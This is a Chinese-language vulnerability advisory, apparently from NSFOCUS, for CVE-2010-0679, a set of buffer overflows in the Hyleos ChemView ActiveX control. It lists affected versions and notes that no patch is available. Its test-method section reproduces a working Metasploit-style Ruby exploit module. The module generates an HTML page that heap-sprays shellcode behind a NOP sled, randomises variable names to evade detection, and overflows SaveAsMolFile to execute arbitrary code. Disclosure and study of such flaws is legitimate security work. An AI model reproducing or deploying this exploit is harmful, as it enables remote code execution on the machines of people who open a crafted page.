安全研究

安全漏洞
Hyleos ChemView HyleosChemView.HLChemView ActiveX (HyleosChemView.ocx)多个方法溢出漏洞

发布日期:2010-02-12
更新日期:2011-02-14

受影响系统:
Hyleos chemView 1.9.5 1
Hyleos chemView 1.9.4
Hyleos chemView 1.9.3
Hyleos chemView 1.9.2
Hyleos chemView 0.1.8
Hyleos chemView 0.1.7
Hyleos chemView 0.1.6
Hyleos chemView 0.1.5
Hyleos chemView 0.1.4
描述:
BUGTRAQ  ID: 38225
CVE(CAN) ID: CVE-2010-0679

Hyleos ChemView是使Mol File (MDL® format)形象化的win32 ActiveX控件。

Hyleos ChemView ActiveX控件在实现上存在多个缓冲区溢出漏洞,攻击者可利用此漏洞执行任意代码。

<*来源:unknown
  
  链接:http://osvdb.org/62276
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

unknown ()提供了如下测试方法:


def exploit

        # Encode the shellcode
        shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

        # Setup exploit buffers
        nops      = Rex::Text.to_unescape([target.ret].pack('V'))
        ret       = Rex::Text.uri_encode([target.ret].pack('L'))
        blocksize = 0x40000
        fillto    = 300
        offset    = target['Offset']

        # Randomize the javascript variable names
        chemview     = rand_text_alpha(rand(100) + 1)
        j_shellcode  = rand_text_alpha(rand(100) + 1)
        j_nops       = rand_text_alpha(rand(100) + 1)
        j_ret        = rand_text_alpha(rand(100) + 1)
        j_headersize = rand_text_alpha(rand(100) + 1)
        j_slackspace = rand_text_alpha(rand(100) + 1)
        j_fillblock  = rand_text_alpha(rand(100) + 1)
        j_block      = rand_text_alpha(rand(100) + 1)
        j_memory     = rand_text_alpha(rand(100) + 1)
        j_counter    = rand_text_alpha(rand(30) + 2)


        html = %Q|<html>
<object classid='clsid:C372350A-1D5A-44DC-A759-767FC553D96C' id='#{chemview}'></object>
<script>
#{j_shellcode}=unescape('#{shellcode}');
#{j_nops}=unescape('#{nops}');
#{j_headersize}=20;
#{j_slackspace}=#{j_headersize}+#{j_shellcode}.length;
while(#{j_nops}.length<#{j_slackspace})#{j_nops}+=#{j_nops};
#{j_fillblock}=#{j_nops}.substring(0,#{j_slackspace});
#{j_block}=#{j_nops}.substring(0,#{j_nops}.length-#{j_slackspace});
while(#{j_block}.length+#{j_slackspace}<#{blocksize})#{j_block}=#{j_block}+#{j_block}+#{j_fillblock};
#{j_memory}=new Array();
for(#{j_counter}=0;#{j_counter}<#{fillto};#{j_counter}++)#{j_memory}[#{j_counter}]=#{j_block}+#{j_shellcode};

var #{j_ret}='';
for(#{j_counter}=0;#{j_counter}<=#{offset};#{j_counter}++)#{j_ret}+=unescape('#{ret}');
#{chemview}.SaveAsMolFile(#{j_ret});
</script>
</html>|

        print_status("Creating '#{datastore['FILENAME']}' file ...")

        file_create(html)
    end

建议:
厂商补丁:

Hyleos
------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

www.hyleos.net/

浏览次数:1668
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障